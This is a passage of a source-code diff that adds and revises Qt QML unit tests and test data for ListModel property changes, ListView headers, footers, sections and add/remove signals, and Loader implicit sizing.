     QTest::newRow("nested-insert") << "{append({'foo':123});insert(0,{'bars':[{'a':1},{'b':2},{'c':3}]});get(0).bars.get(0).a}" << 1 << "";
-    QTest::newRow("nested-set") << "{append({'foo':123});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << "";
+    QTest::newRow("nested-set") << "{append({'foo':[{'x':1}]});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << "";
 
     QTest::newRow("nested-count") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.count}" << 3 << "";
     QTest::newRow("nested-clear") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.clear(); get(0).bars.count}" << 0 << "";
-
-    // XXX
-    //QTest::newRow("nested-setprop") << "{append({'foo':123});setProperty(0,'foo',[{'x':123}]);get(0).foo.get(0).x}" << 123 << "";
 }
 
 void tst_qdeclarativelistmodel::dynamic()
@@ -420,6 +423,9 @@ void tst_qdeclarativelistmodel::dynamic_worker_sync()
     if (QByteArray(QTest::currentDataTag()).startsWith("nested"))
         QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script");
 
+    if (QByteArray(QTest::currentDataTag()).startsWith("nested-set"))
+        QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script");
+
     QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", 
             Q_ARG(QVariant, operations.mid(0, operations.length()-1))));
     waitForWorker(item);
@@ -928,6 +934,163 @@ void tst_qdeclarativelistmodel::crash_model_with_multiple_roles()
     model->setProperty(0, "black", true);
 }
 
+//QTBUG-15190
+void tst_qdeclarativelistmodel::set_model_cache()
+{
+    QDeclarativeEngine eng;
+    QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/setmodelcachelist.qml"));
+    QObject *model = component.create();
+    QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString()));
+    QVERIFY(model != 0);
+    QVERIFY(model->property("ok").toBool());
+}
+
+void tst_qdeclarativelistmodel::property_changes()
+{
+    QFETCH(QString, script_setup);
+    QFETCH(QString, script_change);
+    QFETCH(QString, roleName);
+    QFETCH(int, listIndex);
+    QFETCH(bool, itemsChanged);
+    QFETCH(QString, testExpression);
+
+    QDeclarativeEngine engine;
+    QDeclarativeListModel model;
+    QDeclarativeEngine::setContextForObject(&model, engine.rootContext());
+    engine.rootContext()->setContextObject(&model);
+
+    QDeclarativeExpression expr(engine.rootContext(), &model, script_setup);
+    expr.evaluate();
+    QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString()));
+
+    QString signalHandler = "on" + QString(roleName[0].toUpper()) + roleName.mid(1, roleName.length()) + "Changed:";
+    QString qml = "import QtQuick 1.0\n"
+                  "Connections {\n"
+                        "property bool gotSignal: false\n"
+                        "target: model.get(0)\n"
+                        + signalHandler + " gotSignal = true\n"
+                  "}\n";
+    QDeclarativeComponent component(&engine);
+    component.setData(qml.toUtf8(), QUrl::fromLocalFile(""));
+    engine.rootContext()->setContextProperty("model", &model);
+    QObject *connectionsObject = component.create();
+    QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString()));
+
+    QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList<int>)));
+
+    expr.setExpression(script_change);
+    expr.evaluate();
+    QVERIFY2(!expr.hasError(), QTest::toString(expr.error()));
+
+    // test the object returned by get() emits the correct signals
+    QCOMPARE(connectionsObject->property("gotSignal").toBool(), itemsChanged);
+
+    // test itemsChanged() is emitted correctly
+    if (itemsChanged) {
+        QCOMPARE(spyItemsChanged.count(), 1);
+        QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex);
+        QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1);
+    } else {
+        QCOMPARE(spyItemsChanged.count(), 0);
+    }
+
+    expr.setExpression(testExpression);
+    QCOMPARE(expr.evaluate().toBool(), true);
+
+    delete connectionsObject;
+}
+
+void tst_qdeclarativelistmodel::property_changes_data()
+{
+    QTest::addColumn<QString>("script_setup");
+    QTest::addColumn<QString>("script_change");
+    QTest::addColumn<QString>("roleName");
+    QTest::addColumn<int>("listIndex");
+    QTest::addColumn<bool>("itemsChanged");
+    QTest::addColumn<QString>("testExpression");
+
+    QTest::newRow("set: plain") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':123});"
+            << "b" << 0 << true << "get(0).b == 123";
+    QTest::newRow("setProperty: plain") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 123);"
+            << "b" << 0 << true << "get(0).b == 123";
+
+    QTest::newRow("set: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':456});"
+            << "b" << 0 << false << "get(0).b == 456";
+    QTest::newRow("setProperty: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 456);"
+            << "b" << 0 << false << "get(0).b == 456";
+
+    // Following tests only call set() since setProperty() only allows plain
+    // values, not lists, as the argument.
+    // Note that when a list is changed, itemsChanged() is currently always
+    // emitted regardless of whether it actually changed or not.
+
+    QTest::newRow("nested-set: list, new size") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2}]});"
+            << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2";
+
+    QTest::newRow("nested-set: list, empty -> non-empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});"
+            << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3";
+
+    QTest::newRow("nested-set: list, non-empty -> empty") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[]});"
+            << "b" << 0 << true << "get(0).b.count == 0";
+
+    QTest::newRow("nested-set: list, same size, different values") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':222},{'a':3}]});"
+            << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 222 && get(0).b.get(2).a == 3";
+
+    QTest::newRow("nested-set: list, no changes") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});"
+            << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3";
+
+    QTest::newRow("nested-set: list, no changes, empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[]});"
+            << "b" << 0 << true << "get(0).b.count == 0";
+}
+
+
+void tst_qdeclarativelistmodel::property_changes_worker()
+{
+    // nested models are not supported when WorkerScript is involved
+    if (QByteArray(QTest::currentDataTag()).startsWith("nested-"))
+        return;
+
+    QFETCH(QString, script_setup);
+    QFETCH(QString, script_change);
+    QFETCH(QString, roleName);
+    QFETCH(int, listIndex);
+    QFETCH(bool, itemsChanged);
+
+    QDeclarativeListModel model;
+    QDeclarativeEngine engine;
+    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+    QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
+    QDeclarativeItem *item = createWorkerTest(&engine, &component, &model);
+    QVERIFY(item != 0);
+
+    QDeclarativeExpression expr(engine.rootContext(), &model, script_setup);
+    expr.evaluate();
+    QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString()));
+
+    QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList<int>)));
+
+    QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker",
+            Q_ARG(QVariant, QStringList(script_change))));
+    waitForWorker(item);
+
+    // test itemsChanged() is emitted correctly
+    if (itemsChanged) {
+        QCOMPARE(spyItemsChanged.count(), 1);
+        QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex);
+        QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1);
+    } else {
+        QCOMPARE(spyItemsChanged.count(), 0);
+    }
+
+    delete item;
+    qApp->processEvents();
+}
+
+void tst_qdeclarativelistmodel::property_changes_worker_data()
+{
+    property_changes_data();
+}
+
 QTEST_MAIN(tst_qdeclarativelistmodel)
 
 #include "tst_qdeclarativelistmodel.moc"
diff --git a/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml
new file mode 100644
index 0000000..5ca1a45
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+ListView {
+    id: view
+    width: 240; height: 320
+
+    property variant addedDelegates: []
+    property int removedDelegateCount
+
+    model: testModel
+
+    delegate: Rectangle {
+        width: 200; height: delegateHeight
+        border.width: 1
+        ListView.onAdd: {
+            var obj = ListView.view.addedDelegates
+            obj.push(model.name)
+            ListView.view.addedDelegates = obj
+        }
+        ListView.onRemove: {
+            view.removedDelegateCount += 1
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/footer.qml b/tests/auto/declarative/qdeclarativelistview/data/footer.qml
index 4cbd33b..33e04f1 100644
--- a/tests/auto/declarative/qdeclarativelistview/data/footer.qml
+++ b/tests/auto/declarative/qdeclarativelistview/data/footer.qml
@@ -1,6 +1,9 @@
 import QtQuick 1.0
 
 Rectangle {
+    function changeFooter() {
+        list.footer = footer2
+    }
     width: 240
     height: 320
     color: "#ffffff"
@@ -27,4 +30,9 @@ Rectangle {
         delegate: myDelegate
         footer: Text { objectName: "footer"; text: "Footer"; height: 30 }
     }
+
+    Component {
+        id: footer2
+        Text { objectName: "footer2"; text: "Footer 2"; height: 20 }
+    }
 }
diff --git a/tests/auto/declarative/qdeclarativelistview/data/header.qml b/tests/auto/declarative/qdeclarativelistview/data/header.qml
index 6da996e..38cdd6e 100644
--- a/tests/auto/declarative/qdeclarativelistview/data/header.qml
+++ b/tests/auto/declarative/qdeclarativelistview/data/header.qml
@@ -1,6 +1,9 @@
 import QtQuick 1.0
 
 Rectangle {
+    function changeHeader() {
+        list.header = header2
+    }
     width: 240
     height: 320
     color: "#ffffff"
@@ -26,6 +29,10 @@ Rectangle {
         snapMode: ListView.SnapToItem
         model: testModel
         delegate: myDelegate
-        header: Text { objectName: "header"; text: "Header"; height: 10 }
+        header: Text { objectName: "header"; text: "Header"; height: 20 }
+    }
+    Component {
+        id: header2
+        Text { objectName: "header2"; text: "Header 2"; height: 10 }
     }
 }
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml
new file mode 100644
index 0000000..9d9cda8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml
@@ -0,0 +1,68 @@
+import QtQuick 1.0
+
+Rectangle {
+    width: 240
+    height: 320
+    color: "#ffffff"
+    resources: [
+        Component {
+            id: myDelegate
+            Item {
+                id: wrapper
+                objectName: "wrapper"
+                height: 20;
+                width: 240
+                Rectangle {
+                    height: 20
+                    width: parent.width
+                    color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white"
+                    Text {
+                        text: index
+                    }
+                    Text {
+                        x: 30
+                        id: textName
+                        objectName: "textName"
+                        text: name
+                    }
+                    Text {
+                        x: 100
+                        id: textNumber
+                        objectName: "textNumber"
+                        text: number
+                    }
+                    Text {
+                        objectName: "nextSection"
+                        x: 150
+                        text: wrapper.ListView.nextSection
+                    }
+                    Text {
+                        x: 200
+                        text: wrapper.y
+                    }
+                }
+                ListView.onRemove: SequentialAnimation {
+                    PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true }
+                    NumberAnimation { target: wrapper; property: "height"; to: 0; duration: 100; easing.type: Easing.InOutQuad }
+                    PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false }
+                }
+            }
+        }
+    ]
+    ListView {
+        id: list
+        objectName: "list"
+        width: 240
+        height: 320
+        model: testModel
+        delegate: myDelegate
+        section.property: "number"
+        section.delegate: Rectangle {
+            objectName: "sect_" + section
+            color: "#99bb99"
+            height: 20
+            width: list.width
+            Text { text: section }
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
index 534540f..3cd6f42 100644
--- a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
+++ b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml
@@ -1,10 +1,13 @@
 import QtQuick 1.0
 
 Rectangle {
+    id: root
     width: 240
     height: 320
     color: "#ffffff"
 
+    property bool showHeader: false
+    property bool showFooter: false
     property real hr: list.visibleArea.heightRatio
     function heightRatio() {
         return list.visibleArea.heightRatio
@@ -105,6 +108,10 @@ Rectangle {
         Component {
             id: invalidHl
             SmoothedAnimation {}
+        },
+        Component {
+            id: headerFooter
+            Rectangle { height: 30; width: 240; color: "blue" }
         }
     ]
     ListView {
@@ -119,5 +126,7 @@ Rectangle {
         highlightMoveSpeed: 1000
         highlightResizeSpeed: 1000
         cacheBuffer: testObject.cacheBuffer
+        header: root.showHeader ? headerFooter : null
+        footer: root.showFooter ? headerFooter : null
     }
 }
diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
index 9b6f04c..c7f90da 100644
--- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
+++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
@@ -90,6 +90,7 @@ private slots:
     void enforceRange();
     void spacing();
     void sections();
+    void sectionsDelegate();
     void cacheBuffer();
     void positionViewAtIndex();
     void resetModel();
@@ -108,6 +109,12 @@ private slots:
     void QTBUG_16037();
     void indexAt();
     void incrementalModel();
+    void onAdd();
+    void onAdd_data();
+    void onRemove();
+    void onRemove_data();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 
 private:
     template <class T> void items();
@@ -294,6 +301,13 @@ public:
         emit endInsertRows();
     }
 
+    void addItems(const QList<QPair<QString, QString> > &items) {
+        emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1);
+        for (int i=0; i<items.count(); i++)
+            list.append(QPair<QString,QString>(items[i].first, items[i].second));
+        emit endInsertRows();
+    }
+
     void insertItem(int index, const QString &name, const QString &number) {
         emit beginInsertRows(QModelIndex(), index, index);
         list.insert(index, QPair<QString,QString>(name, number));
@@ -1015,6 +1029,71 @@ void tst_QDeclarativeListView::sections()
     delete canvas;
 }
 
+void tst_QDeclarativeListView::sectionsDelegate()
+{
+    QDeclarativeView *canvas = createView();
+
+    TestModel model;
+    for (int i = 0; i < 30; i++)
+        model.addItem("Item" + QString::number(i), QString::number(i/5));
+
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    ctxt->setContextProperty("testModel", &model);
+
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections_delegate.qml"));
+    qApp->processEvents();
+
+    QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+    QTRY_VERIFY(listview != 0);
+
+    QDeclarativeItem *contentItem = listview->contentItem();
+    QTRY_VERIFY(contentItem != 0);
+
+    // Confirm items positioned correctly
+    int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+    for (int i = 0; i < model.count() && i < itemCount; ++i) {
+        QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+        QTRY_VERIFY(item);
+        QTRY_COMPARE(item->y(), qreal(i*20 + ((i+5)/5) * 20));
+        QDeclarativeText *next = findItem<QDeclarativeText>(item, "nextSection");
+        QCOMPARE(next->text().toInt(), (i+1)/5);
+    }
+
+    for (int i = 0; i < 3; ++i) {
+        QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "sect_" + QString::number(i));
+        QVERIFY(item);
+        QTRY_COMPARE(item->y(), qreal(i*20*6));
+    }
+
+    model.modifyItem(0, "One", "aaa");
+    model.modifyItem(1, "Two", "aaa");
+    model.modifyItem(2, "Three", "aaa");
+    model.modifyItem(3, "Four", "aaa");
+    model.modifyItem(4, "Five", "aaa");
+
+    for (int i = 0; i < 3; ++i) {
+        QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem,
+                "sect_" + (i == 0 ? QString("aaa") : QString::number(i)));
+        QVERIFY(item);
+        QTRY_COMPARE(item->y(), qreal(i*20*6));
+    }
+
+    // remove section boundary
+    model.removeItem(5);
+    qApp->processEvents();
+    for (int i = 0; i < 3; ++i) {
+        QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem,
+                "sect_" + (i == 0 ? QString("aaa") : QString::number(i)));
+        QVERIFY(item);
+    }
+
+    // QTBUG-17606
+    QList<QDeclarativeItem*> items = findItems<QDeclarativeItem>(contentItem, "sect_1");
+    QCOMPARE(items.count(), 1);
+
+    delete canvas;
+}
+
 void tst_QDeclarativeListView::currentIndex()
 {
     TestModel model;
@@ -1383,6 +1462,24 @@ void tst_QDeclarativeListView::positionViewAtIndex()
     listview->positionViewAtIndex(20, QDeclarativeListView::Contain);
     QTRY_COMPARE(listview->contentY(), 100.);
 
+    // positionAtBeginnging
+    listview->positionViewAtBeginning();
+    QTRY_COMPARE(listview->contentY(), 0.);
+
+    listview->setContentY(80);
+    canvas->rootObject()->setProperty("showHeader", true);
+    listview->positionViewAtBeginning();
+    QTRY_COMPARE(listview->contentY(), -30.);
+
+    // positionAtEnd
+    listview->positionViewAtEnd();
+    QTRY_COMPARE(listview->contentY(), 480.); // 40*20 - 320
+
+    listview->setContentY(80);
+    canvas->rootObject()->setProperty("showFooter", true);
+    listview->positionViewAtEnd();
+    QTRY_COMPARE(listview->contentY(), 510.);
+
     delete canvas;
 }
 
@@ -1592,7 +1689,7 @@ void tst_QDeclarativeListView::QTBUG_9791()
 
     // Confirm items positioned correctly
     int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
-    QVERIFY(itemCount == 3);
+    QCOMPARE(itemCount, 3);
 
     for (int i = 0; i < itemCount; ++i) {
         QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
@@ -1716,12 +1813,27 @@ void tst_QDeclarativeListView::header()
         QDeclarativeText *header = findItem<QDeclarativeText>(contentItem, "header");
         QVERIFY(header);
         QCOMPARE(header->y(), 0.0);
+        QCOMPARE(header->height(), 20.0);
 
         QCOMPARE(listview->contentY(), 0.0);
 
         model.clear();
         QTRY_COMPARE(header->y(), 0.0);
 
+        for (int i = 0; i < 30; i++)
+            model.addItem("Item" + QString::number(i), "");
+
+        QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader");
+
+        header = findItem<QDeclarativeText>(contentItem, "header");
+        QVERIFY(!header);
+        header = findItem<QDeclarativeText>(contentItem, "header2");
+        QVERIFY(header);
+
+        QCOMPARE(header->y(), 10.0);
+        QCOMPARE(header->height(), 10.0);
+        QCOMPARE(listview->contentY(), 10.0);
+
         delete canvas;
     }
     {
@@ -1776,6 +1888,7 @@ void tst_QDeclarativeListView::footer()
     QDeclarativeText *footer = findItem<QDeclarativeText>(contentItem, "footer");
     QVERIFY(footer);
     QCOMPARE(footer->y(), 60.0);
+    QCOMPARE(footer->height(), 30.0);
 
     model.removeItem(1);
     QTRY_COMPARE(footer->y(), 40.0);
@@ -1783,6 +1896,20 @@ void tst_QDeclarativeListView::footer()
     model.clear();
     QTRY_COMPARE(footer->y(), 0.0);
 
+    for (int i = 0; i < 30; i++)
+        model.addItem("Item" + QString::number(i), "");
+
+    QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter");
+
+    footer = findItem<QDeclarativeText>(contentItem, "footer");
+    QVERIFY(!footer);
+    footer = findItem<QDeclarativeText>(contentItem, "footer2");
+    QVERIFY(footer);
+
+    QCOMPARE(footer->y(), 600.0);
+    QCOMPARE(footer->height(), 20.0);
+    QCOMPARE(listview->contentY(), 0.0);
+
     delete canvas;
 }
 
@@ -2039,6 +2166,152 @@ void tst_QDeclarativeListView::incrementalModel()
     delete canvas;
 }
 
+void tst_QDeclarativeListView::onAdd()
+{
+    QFETCH(int, initialItemCount);
+    QFETCH(int, itemsToAdd);
+
+    const int delegateHeight = 10;
+    TestModel2 model;
+
+    // these initial items should not trigger ListView.onAdd
+    for (int i=0; i<initialItemCount; i++)
+        model.addItem("dummy value", "dummy value");
+
+    QDeclarativeView *canvas = createView();
+    canvas->setFixedSize(200, delegateHeight * (initialItemCount + itemsToAdd));
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    ctxt->setContextProperty("testModel", &model);
+    ctxt->setContextProperty("delegateHeight", delegateHeight);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+
+    QObject *object = canvas->rootObject();
+    object->setProperty("width", canvas->width());
+    object->setProperty("height", canvas->height());
+    qApp->processEvents();
+
+    QList<QPair<QString, QString> > items;
+    for (int i=0; i<itemsToAdd; i++)
+        items << qMakePair(QString("value %1").arg(i), QString::number(i));
+    model.addItems(items);
+
+    qApp->processEvents();
+
+    QVariantList result = object->property("addedDelegates").toList();
+    QCOMPARE(result.count(), items.count());
+    for (int i=0; i<items.count(); i++)
+        QCOMPARE(result[i].toString(), items[i].first);
+
+    delete canvas;
+}
+
+void tst_QDeclarativeListView::onAdd_data()
+{
+    QTest::addColumn<int>("initialItemCount");
+    QTest::addColumn<int>("itemsToAdd");
+
+    QTest::newRow("0, add 1") << 0 << 1;
+    QTest::newRow("0, add 2") << 0 << 2;
+    QTest::newRow("0, add 10") << 0 << 10;
+
+    QTest::newRow("1, add 1") << 1 << 1;
+    QTest::newRow("1, add 2") << 1 << 2;
+    QTest::newRow("1, add 10") << 1 << 10;
+
+    QTest::newRow("5, add 1") << 5 << 1;
+    QTest::newRow("5, add 2") << 5 << 2;
+    QTest::newRow("5, add 10") << 5 << 10;
+}
+
+void tst_QDeclarativeListView::onRemove()
+{
+    QFETCH(int, initialItemCount);
+    QFETCH(int, indexToRemove);
+    QFETCH(int, removeCount);
+
+    const int delegateHeight = 10;
+    TestModel2 model;
+    for (int i=0; i<initialItemCount; i++)
+        model.addItem(QString("value %1").arg(i), "dummy value");
+
+    QDeclarativeView *canvas = createView();
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    ctxt->setContextProperty("testModel", &model);
+    ctxt->setContextProperty("delegateHeight", delegateHeight);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+    QObject *object = canvas->rootObject();
+
+    qApp->processEvents();
+
+    model.removeItems(indexToRemove, removeCount);
+    qApp->processEvents();
+    QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount));
+
+    delete canvas;
+}
+
+void tst_QDeclarativeListView::onRemove_data()
+{
+    QTest::addColumn<int>("initialItemCount");
+    QTest::addColumn<int>("indexToRemove");
+    QTest::addColumn<int>("removeCount");
+
+    QTest::newRow("remove first") << 1 << 0 << 1;
+    QTest::newRow("two items, remove first") << 2 << 0 << 1;
+    QTest::newRow("two items, remove last") << 2 << 1 << 1;
+    QTest::newRow("two items, remove all") << 2 << 0 << 2;
+
+    QTest::newRow("four items, remove first") << 4 << 0 << 1;
+    QTest::newRow("four items, remove 0-2") << 4 << 0 << 2;
+    QTest::newRow("four items, remove 1-3") << 4 << 1 << 2;
+    QTest::newRow("four items, remove 2-4") << 4 << 2 << 2;
+    QTest::newRow("four items, remove last") << 4 << 3 << 1;
+    QTest::newRow("four items, remove all") << 4 << 0 << 4;
+
+    QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8;
+    QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5;
+    QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6;
+}
+
+void tst_QDeclarativeListView::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; ListView { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; ListView { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_QDeclarativeListView::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtBeginning"
+        << "";
+
+    QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtEnd"
+        << "";
+}
+
 void tst_QDeclarativeListView::qListModelInterface_items()
 {
     items<TestModel>();
diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
new file mode 100644
index 0000000..9949e34
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.1
+
+Rectangle {
+    color: "green"
+    width: loader.implicitWidth+50
+    height: loader.implicitHeight+50
+
+    Loader {
+        id: loader
+        sourceComponent: Item {
+            anchors.centerIn: parent
+
+            implicitWidth: 200
+            implicitHeight: 200
+            Rectangle {
+                color: "red"
+                anchors.fill: parent
+            }
+        }
+        anchors.fill: parent
+        anchors.margins: 15
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml
new file mode 100644
index 0000000..8a49733
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.1
+
+Rectangle {
+    property real loaderWidth: loader.width
+    property real loaderHeight: loader.height
+    width: 200
+    height: 200
+
+    Loader {
+        id: loader
+        sourceComponent: Item {
+            property real iwidth: 32
+            property real iheight: 32
+            width: iwidth
+            height: iheight
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
new file mode 100644
index 0000000..53aad97
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.1
+
+Rectangle {
+    property real implWidth: 0
+    property real implHeight: 0
+    color: "green"
+    width: loader.implicitWidth+50
+    height: loader.implicitHeight+50
+
+    Loader {
+        id: loader
+        sourceComponent: Item {
+            anchors.centerIn: parent
+
+            implicitWidth: 100
+            implicitHeight: 100
+            Rectangle {
+                color: "red"
+                anchors.fill: parent
+            }
+        }
+
+        anchors.fill: parent
+        anchors.margins: 50
+        onImplicitWidthChanged: implWidth = implicitWidth
+        onImplicitHeightChanged: implHeight = loader.implicitHeight
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
index bfa81ed..f5218c7 100644
--- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
+++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
@@ -69,9 +69,8 @@ public:
     tst_QDeclarativeLoader();
 
 private slots:
-    void url();
-    void invalidUrl();
-    void component();
+    void sourceOrComponent();
+    void sourceOrComponent_data();
     void clear();
     void urlToComponent();
     void componentToUrl();
@@ -90,6 +89,9 @@ private slots:
     void nonItem();
     void vmeErrors();
     void creationContext();
+    void QTBUG_16928();
+    void implicitSize();
+    void QTBUG_17114();
 
 private:
     QDeclarativeEngine engine;
@@ -100,56 +102,71 @@ tst_QDeclarativeLoader::tst_QDeclarativeLoader()
 {
 }
 
-void tst_QDeclarativeLoader::url()
+void tst_QDeclarativeLoader::sourceOrComponent()
 {
+    QFETCH(QString, sourceDefinition);
+    QFETCH(QUrl, sourceUrl);
+    QFETCH(QString, errorString);
+
+    bool error = !errorString.isEmpty();
+    if (error)
+        QTest::ignoreMessage(QtWarningMsg, errorString.toUtf8().constData());
+
     QDeclarativeComponent component(&engine);
-    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load: 0; onLoaded: did_load=123; source: \"Rect120x60.qml\" }"), TEST_FILE(""));
+    component.setData(QByteArray(
+            "import QtQuick 1.0\n"
+            "Loader {\n"
+            "   property int onItemChangedCount: 0\n"
+            "   property int onSourceChangedCount: 0\n"
+            "   property int onStatusChangedCount: 0\n"
+            "   property int onProgressChangedCount: 0\n"
+            "   property int onLoadedCount: 0\n")
+            + sourceDefinition.toUtf8()
+            + QByteArray(
+            "   onItemChanged: onItemChangedCount += 1\n"
+            "   onSourceChanged: onSourceChangedCount += 1\n"
+            "   onStatusChanged: onStatusChangedCount += 1\n"
+            "   onProgressChanged: onProgressChangedCount += 1\n"
+            "   onLoaded: onLoadedCount += 1\n"
+            "}")
+        , TEST_FILE(""));
+
     QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
     QVERIFY(loader != 0);
-    QVERIFY(loader->item());
